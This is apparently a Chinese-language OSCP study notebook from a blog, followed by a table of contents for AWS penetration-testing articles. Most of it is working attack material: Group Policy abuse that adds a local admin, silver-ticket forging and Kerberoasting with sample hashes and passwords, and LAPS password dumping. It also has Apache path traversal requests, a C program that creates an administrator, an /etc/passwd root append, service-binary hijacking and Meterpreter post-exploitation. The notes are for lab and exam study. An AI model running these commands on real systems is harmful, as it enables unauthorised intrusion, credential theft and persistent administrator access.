Get-GPO -Name "Default Domain Policy"

Get-GPPermission -Guid <GUID> -TargetType User -TargetName <当前用户>
# 权限类型可能包括:
# - GpoApply: 应用策略
# - GpoRead: 读取策略
# - GpoEdit: 编辑策略
# - GpoCustom: 自定义权限

.\SharpGPOAbuse.exe
--AddLocalAdmin # 添加本地管理员
--UserAccount # 指定要添加的用户账号
--GPOName # 指定要修改的GPO名称

# 其他可用参数:
--AddComputerScript # 添加计算机启动脚本
--AddUserScript # 添加用户登录脚本
--AddUserTask # 添加计划任务
--Command # 指定要执行的命令

# 查询权限
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# 上面是项目地址 下面是漏洞利用
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force

.\SharpGPOAbuse.exe
--AddLocalAdmin # 行为：添加本地管理员权限
--UserAccount anirudh # 要添加谁：用户名anirudh
--GPOName "Default Domain Policy" # 修改哪个GPO：默认域策略

gpupdate # 更新组策略
/force # 强制立即更新，不等待默认刷新时间

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 白银票据非常有意思的用法
# 在域控服务器上可能开着mssql 我们有svc_mssql作为服务账户可以用Kerberos直接认证
# 但是普通服务账户可能无法开启xmdshell的 就可以制作白银票据
# 因为我们已经可以访问mssql并登陆了
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

# PowerView
Get-DomainSID

# 原生PowerShell
(Get-ADDomain).DomainSID.Value

1

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


# 设置票据所在位置
export KRB5CCNAME=$PWD/Administrator.ccache

# 下面这个是之前没有接触过的 平常只要导入票据 比如KRB5CCNAME 就没问题了
# 但是白银票据的导入貌似还要下面的这个配置文件
/etc/krb5user.conf
[libdefaults]
 default_realm = NAGOYA-INDUSTRIES.COM
 kdc_timesync = 1
 ccache_type = 4
 forwardable = true
 proxiable = true
 rdns = false
 dns_canonicalize_hostname = false
 fcc-mit-ticketflags = true

[realms]
 NAGOYA-INDUSTRIES.COM = {
 kdc = nagoya.nagoya-industries.com
 }

[domain_realm]
 .nagoya-industries.com = NAGOYA-INDUSTRIES.COM

# mssql连就行了 最好用impacket的
impacket-mssqlclient -k nagoya.nagoya-industries.com

Kerberos配置文件搜索顺序:

KRB5_CONFIG环境变量指定的位置
/etc/krb5.conf(默认位置)
/etc/krb5user.conf
~/.krb5user.conf

# 只需修改这些部分:
default_realm = YOUR.DOMAIN.COM # 域名
[realms]
YOUR.DOMAIN.COM = {
 kdc = dc.your.domain.com # 域控制器
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM # 域名映射

其他配置可以保持不变:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
等这些是Kerberos行为配置,通常不需要修改。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 在bloodhound里如果看到自身对某一个用户具有GenericWrite权限 就可以修改他的SPN
# 然后获得TGT 挺有意思的一个利用
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/

targetedKerberoast和普通的Kerberoast不同:
普通Kerberoast:
powershellCopy# 任何域用户都能执行
Get-DomainUser -SPN # 枚举所有SPN
Rubeus.exe kerberoast # 请求所有SPN的票据

targetedKerberoast针对性利用:
需要GenericWrite权限
可以临时给普通用户添加SPN
获取票据后再移除SPN

1
2
3
4
5
6


# bloodhound里面可以找到的
# 当前用户有ReadLAPSPassword权限
# 可以读取域内机器的本地管理员密码

ldapsearch -v -c -D username@domain.com -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

100.OSCP一些细节

任意文件读取

任意文件读取更多的是读重要信息吧，比如SSH私钥，但是在浏览器里面读取的时候会导致格式错乱，我之前也遇到过这种情况，没有什么好的解决办法，就是挨个找位数挨个回车，但是OSCP提到了这一点

其实就是curl就行了

1
2
3
4


curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

--path-as-is
这个参数可以让curl 不要把 ../../ 给变成/

测试目录字典

1
2
3
4


C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

apache 2.4.49目录遍历漏洞

1
2
3


curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is

curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is

responder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


ip a
sudo responder -I tun0
sudo responder -I tun0 -v

一个非常有意思的案例
当域内主机存在ssrf漏洞的时候 我一般会让他向我的攻击机http请求
但是http请求通常不会需要认证 他也就不会携带HTLM
但是 smb和webdav他是会携带的 再配合伪协议就行
file:////192.168.45.184/share
或者webdav
http://192.168.45.184/share

态势感知信息收集(非常重要)windows提权

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


# 当前用户所属的所有组
whoami /groups

powershell
# 本机用户和是否启用 以及描述
Get-LocalUser

# 本地组
Get-LocalGroup

# 以上面组名为参数 查看这个组的成员
Get-LocalGroupMember adminteam

# 路由表
route print

# 查看所有的应用程序
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# 查看进程
Get-Process

# 类似于find把 思路可以
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# 转录文件 可能存在账号密码
C:\Users\Public\Transcripts\transcript01.txt

# 检索历史记录
(Get-PSReadlineOption).HistorySavePath

# 可能存在密码的文件
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt

# 存在的服务
# 这一条过滤了 没有运行的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# 显示所有服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam

1
2


# 查看文件权限
icacls "C:\xampp\apache\bin\httpd.exe"

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

替换服务exe的时候可以自行编译一个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


adduser.c

```c

#include &lt;stdlib.h&gt;

int main ()
{
int i;

i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");

return 0;
}

```text
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

后续就是net stop或者net start 服务了

# 查看目标服务的启动类型
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

AUTO就是自启动

PowerUp.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


powershell -ep bypass
. .\PowerUp.ps1

# 显示可修改的服务
Get-ModifiableServiceFile

# 一键替换二进制文件 默认创建一个名为john的本地用户，密码为Password123!
Install-ServiceBinary -Name 'mysql'

# 手动测试 检查权限
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

dll劫持

1
2
3
4


原理：利用下面的命令找到软件版本 然后搜exp 根据漏洞类型来 这个思路一定要有
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

FileZilla FTP 3.63.1 存在dll劫持

不带引号的服务路径(非常重要和有意思的一个技巧)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 枚举运行和已停止的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

比如 设置的路径如下 没有带引号
C:\Program Files\My Program\My Service\service.exe
原理
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

然后重启服务即可

在示例中，我们可以将可执行文件命名为 Program.exe并将其放在C:\中，将My.exe并将其放在 C:\Program Files\中，或者将My.exe并将其放在C:\Program Files\My Program\中。但是，前两个选项需要一些不太可能的权限，因为标准用户默认没有写入这些目录的权限。第三个选项更有可能，因为它是软件的主目录。如果管理用户或开发人员将此目录的权限设置得太开放，我们就可以在那里放置恶意二进制文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 详细命令

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

检查哪个目录有当前用户的W命令就行 然后放入一个exe文件
找到了之后执行下面的命令就行
Stop-Service GammaService
Start-Service GammaService

还是PowerUp.ps1的技术

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


PowerUp.ps1
. .\PowerUp.ps1
# 和上面一样输出易受危害的服务
Get-UnquotedService
# 选择写入的路径
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# 重启服务
Restart-Service GammaService

默认行为是创建一个名为john的新本地用户，密码为Password123!

计划任务提权

1
2
3
4
5
6
7
8


# 查看计划任务
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# 确定具体的任务
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# 确认权限 然后替换就行了
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

漏洞提权

1
2
3


whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

linux提权(信息收集)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel	#路由表
ss -anp	#所有连接
cat /etc/iptables/rules.v4	#防火墙配置
ls -lah /etc/cron*					#计划任务
crontab -l		#计划任务
dpkg -l				#安装的应用程序
find / -writable -type d 2>/dev/null	#可写目录
cat /etc/fstab		#显示挂载驱动器
mount					#挂载的文件系统
lsblk					#查看可用磁盘
lsmod					#查看加载的内核模块
/sbin/modinfo libata	#上面收集到了模块 这里查看模块的更多信息
.bashrc				#自动设置环境变量的脚本 可能存在一些信息
env						#查看环境变量 可能存在信息
watch -n 1 "ps -aux | grep pass"		#类似于一个低配版的pspy32
sudo tcpdump -i lo -A | grep "pass"	#捕获流量
grep "CRON" /var/log/syslog					#查看系统日志里的自动任务 也是一个低配版的pspy32
/usr/sbin/getcap -r / 2>/dev/null		#cap_setuid+ep提权
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# searchspoit的一个技巧吧

/etc/passwd 滥用

1
2


openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

生成新字典的逻辑

1
2


# 根据密码的最小和最大长度 设置某一个密码为基准 来生成新的
crunch 6 6 -t Lab%%% > wordlist

windows提权

这里只记一部分主要是提醒作用吧

1
2
3
4
5


当所有的方法都不行的时候 记得多注意一下 winPEASany.exe的输出
里面的东西很全面 下面是手动方法 而winPEASany.exe集成了下面的所有的信息
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
服务提权
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

msf后利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# 指示目标机器当前是否正在使用 下面就是用户离开9分钟的意思
idletime
User has been idle for: 9 mins 53 secs

# 第一件事
getsystem

# 进程迁移
migrate 8052

# 启动隐藏的notepad并迁移进程
execute -H -f notepad
migrate 8052

# powershell第一件事执行这个 绕过系统的powershell的执行策略限制
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass

# 端口转发
portfwd add -l 3389 -p 3389 -r 172.16.5.200

# 设置代理
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j

然后在本地的1080就会有一个sock5代理 proxychains就行了

101.OSCP一些思路

在看oscptext的时候遇到的一些有意思的教学，这些思路得记下来

遇到任意文件读取的时候不要老相信poc 记得手动试一下比如任意文件读取的poc 他可能就不成功

遇到文件包含尝试写日志读日志 ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php

文件上传有时候可以进行覆盖覆盖公钥试试看

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

UAC绕过是一个挺有意思的一个技术 Import-Module NtObjectManager 之后 Get-NtTokenIntegrityLevel 就能确定完整性级别当级别为Medium的时候就可以去尝试UAC绕过了

102.后利用脚本

https://github.com/rebootuser/LinEnum

https://linpeas.sh/

https://github.com/DominicBreuker/pspy

aes:https://tool.lmeee.com/jiami/aes

rsa:https://www.bejson.com/enc/rsa/

phpinfo lfi条件竞争：https://github.com/vulhub/vulhub/tree/master/php/inclusion

ssh隧道：https://wangdoc.com/ssh/port-forwarding，https://harttle.land/2022/05/02/ssh-port-forwarding.html

windows漏洞分析：https://github.com/AonCyberLabs/Windows-Exploit-Suggester

windows永恒之蓝系列：https://github.com/SecWiki/windows-kernel-exploits

渗透测试 on MentalityXt

AWS 云渗透测试

EC2 元数据服务利用(IMDS)

AWS元数据服务利用实操

EC2绑定IAM角色

EC2元数据服务重要接口

IAM 渗透（角色切换 & 权限滥用）

sts:AssumeRole角色切换

理论

环境搭建

复现验证

补充部分

iam:PassRole 权限滥用

理论

环境搭建

复现验证

补充部分

iam:GetPolicyVersion 读取策略

理论

环境搭建

查询账户中所有管理策略

查询某个策略的 默认版本

读取策略的详细内容

查询用户（User）绑定的策略

查询角色（Role）绑定的策略

查询组（Group）绑定的策略

复现验证

补充部分

iam:CreateAccessKey 创建新密钥

理论

环境搭建

复现验证

补充部分

IAM 渗透补充

iam:CreateUser（创建新 IAM 用户）

iam:AttachUserPolicy（给低权限用户绑定高权限策略）

IAM 渗透总结后记

存储服务(S3)攻击面

S3存储桶枚举

S3 存储桶的访问控制

S3 存储桶枚举方法

手动验证

工具探测

存储桶策略绕过

存储桶策略错误：跨账户访问漏洞

预签名 URL 劫持

数据泄露与持久化

S3 敏感文件下载

RDS 数据库快照窃取

1. 检查是否可以创建 RDS 快照

2. 查看当前账户的 RDS 快照

3. 共享快照到攻击者账户

4. 在攻击者账户中恢复 RDS

5. 复制 RDS去除加密(较为复杂)

创建一个新的 KMS 密钥

复制快照并使用新 KMS 密钥

允许目标账户访问这个 KMS 密钥

共享新快照

后门用户创建（隐蔽后门技术）

后门用户创建操作

1. 创建一个隐蔽的 IAM 用户

2. 为该用户创建访问密钥

3. 赋予用户隐蔽的管理员权限

4. 进一步隐藏用户

影子账户技术

高级攻击手法

AWS CLI 凭证泄露

AWS CLI 凭证存储位置

AWS CLI 凭证泄露的常见途径

1. 代码泄露

2. 日志泄露

3. 终端历史记录

4. 环境变量泄露

5. AWS 元数据服务（IMDS）攻击

AWS CLI 凭证泄露后利用

检查凭证是否有效

获取 AWS 账户的权限

提权到管理员

持久化后门

AWS CLI 凭证泄露总结

查询某个策略的 `默认版本`

`iam:CreateUser`（创建新 IAM 用户）

`iam:AttachUserPolicy`（给低权限用户绑定高权限策略）

2. 在 EC2 `UserData` 里注入反向 Shell

三. 挂载 `/var/run/docker.sock` 访问宿主机